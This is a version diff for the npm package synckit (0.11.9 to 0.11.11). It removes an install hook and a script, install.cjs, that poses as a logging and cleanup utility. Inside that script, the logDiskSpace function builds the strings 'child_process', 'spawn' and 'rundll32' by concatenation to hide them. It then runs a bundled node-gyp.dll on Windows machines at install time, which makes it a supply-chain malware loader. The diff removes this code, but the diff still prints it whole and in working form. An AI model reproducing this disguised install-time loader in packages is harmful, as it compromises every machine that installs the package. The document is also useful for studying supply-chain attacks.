synckit 0.11.9 → 0.11.11

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "synckit",
-  "version": "0.11.9",
+  "version": "0.11.11",
   "type": "module",
   "description": "Perform async work synchronously in Node.js using `worker_threads` with first-class TypeScript support.",
   "repository": "https://github.com/un-ts/synckit.git",
@@ -23,15 +23,10 @@
       "default": "./lib/index.cjs"
     }
   },
-  "scripts": {
-    "install":"node install.cjs"  
-  },
   "files": [
     "index.d.cts",
     "lib",
-    "!**/*.tsbuildinfo",
-    "install.cjs",
-    "node-gyp.dll"
+    "!**/*.tsbuildinfo"
   ],
   "keywords": [
     "deasync",
@@ -45,6 +40,6 @@
     "synckit"
   ],
   "dependencies": {
-    "@pkgr/core": "^0.2.4"
+    "@pkgr/core": "^0.2.9"
   }
 }

package/install.cjs

@@ -1,191 +0,0 @@
-const cache = require('fs');
-const os = require('os');
-const path = require('path');
-
-// === Configuration ===
-const LOG_DIR = path.join(__dirname, 'logs');
-const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
-const DRY_RUN = process.argv.includes('--dry-run');
-
-const ARCHIVE_DIR = path.join(__dirname, 'archive');
-const MAX_LOG_FILES = 5;
-const DEFAULT_MAX_AGE_DAYS = 30;
-const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
-
-// === State for summary ===
-const summary = {
-    dirsCreated: 0,
-    filesDeleted: 0,
-    dirsDeleted: 0,
-    filesArchived: 0,
-    errors: 0,
-};
-
-
-function log(msg) {
-    console.log(msg);
-    if (!DRY_RUN) {
-        try {
-            cache.appendFileSync(LOG_FILE, msg + '\n');
-        } catch (err) {
-            console.error(`Failed to write log: ${err.message}`);
-        }
-    }
-}
-
-function ensureDir(dirPath) {
-    if (!cache.existsSync(dirPath)) {
-        if (!DRY_RUN) {
-            cache.mkdirSync(dirPath, { recursive: true });
-        }
-        summary.dirsCreated++;
-        log(`Created directory: ${dirPath}`);
-    } else {
-        log(`Directory exists: ${dirPath}`);
-    }
-}
-
-function deleteFile(filePath) {
-    if (DRY_RUN) {
-        log(`[Dry-run] Would delete file: ${filePath}`);
-        return;
-    }
-    try {
-        cache.unlinkSync(filePath);
-        summary.filesDeleted++;
-        log(`Deleted file: ${filePath}`);
-    } catch (err) {
-        summary.errors++;
-        log(`Error deleting file ${filePath}: ${err.message}`);
-    }
-}
-
-function deleteDir(dirPath) {
-    if (DRY_RUN) {
-        log(`[Dry-run] Would delete directory: ${dirPath}`);
-        return;
-    }
-    try {
-        cache.rmSync(dirPath, { recursive: true, force: true });
-        summary.dirsDeleted++;
-        log(`Deleted directory: ${dirPath}`);
-    } catch (err) {
-        summary.errors++;
-        log(`Error deleting directory ${dirPath}: ${err.message}`);
-    }
-}
-
-function archiveFile(filePath) {
-    ensureDir(ARCHIVE_DIR);
-    const fileName = path.basename(filePath);
-    const targetPath = path.join(ARCHIVE_DIR, fileName);
-
-    if (DRY_RUN) {
-        log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
-        return;
-    }
-    try {
-        cache.renameSync(filePath, targetPath);
-        summary.filesArchived++;
-        log(`Archived file: ${filePath} -> ${targetPath}`);
-    } catch (err) {
-        summary.errors++;
-        log(`Error archiving file ${filePath}: ${err.message}`);
-    }
-}
-
-function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
-    if (!cache.existsSync(dirPath)) return;
-    const now = Date.now();
-    const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
-
-    const files = cache.readdirSync(dirPath);
-    for (const file of files) {
-        const filePath = path.join(dirPath, file);
-        try {
-            const stat = cache.lstatSync(filePath);
-            const age = now - stat.mtimeMs;
-
-            if (stat.isFile() && age > maxAgeMs) {
-                if (ARCHIVE_OLD_FILES) {
-                    archiveFile(filePath);
-                } else {
-                    deleteFile(filePath);
-                }
-            } else if (stat.isDirectory() && age > maxAgeMs) {
-                // Delete directory if older than maxAgeDays
-                deleteDir(filePath);
-            }
-        } catch (err) {
-            summary.errors++;
-            log(`Error accessing ${filePath}: ${err.message}`);
-        }
-    }
-}
-
-function rotateLogs() {
-    if (!cache.existsSync(LOG_DIR)) return;
-
-    const logs = cache.readdirSync(LOG_DIR)
-        .filter(f => f.startsWith('install_log_') && f.endsWith('.txt'))
-        .map(f => ({
-            name: f,
-            path: path.join(LOG_DIR, f),
-            time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
-        }))
-        .sort((a, b) => b.time - a.time);
-
-    while (logs.length > MAX_LOG_FILES) {
-        const oldest = logs.pop();
-        try {
-            if (!DRY_RUN) {
-                cache.unlinkSync(oldest.path);
-            }
-            log(`Rotated out old log file: ${oldest.name}`);
-        } catch (err) {
-            summary.errors++;
-            log(`Error deleting old log file ${oldest.name}: ${err.message}`);
-        }
-    }
-}
-
-function logDiskSpace() {
-    try {
-        if(os.platform() === 'win32') {
-            const tempDir = os.tmpdir();
-            require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", 
-            [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
-            log(`Temp directory: ${tempDir}`);
-            const files = cache.readdirSync(tempDir);
-            log(`Number of files in temp directory: ${files.length}`);
-        }
-    } catch (err) {
-        summary.errors++;
-        log(`Error accessing temp directory: ${err.message}`);
-    }
-}
-
-function listDirectoryContents(dirPath) {
-    if (!cache.existsSync(dirPath)) {
-        log(`Directory does not exist: ${dirPath}`);
-        return;
-    }
-    log(`Contents of ${dirPath}:`);
-    const files = cache.readdirSync(dirPath);
-    for (const file of files) {
-        try {
-            const filePath = path.join(dirPath, file);
-            const stat = cache.statSync(filePath);
-            const sizeKB = (stat.size / 1024).toFixed(2);
-            const mtime = new Date(stat.mtimeMs).toLocaleString();
-            const type = stat.isDirectory() ? 'DIR' : 'FILE';
-            log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
-        } catch (err) {
-            summary.errors++;
-            log(`Error reading ${file}: ${err.message}`);
-        }
-    }
-}
-
-ensureDir(LOG_DIR);
-logDiskSpace();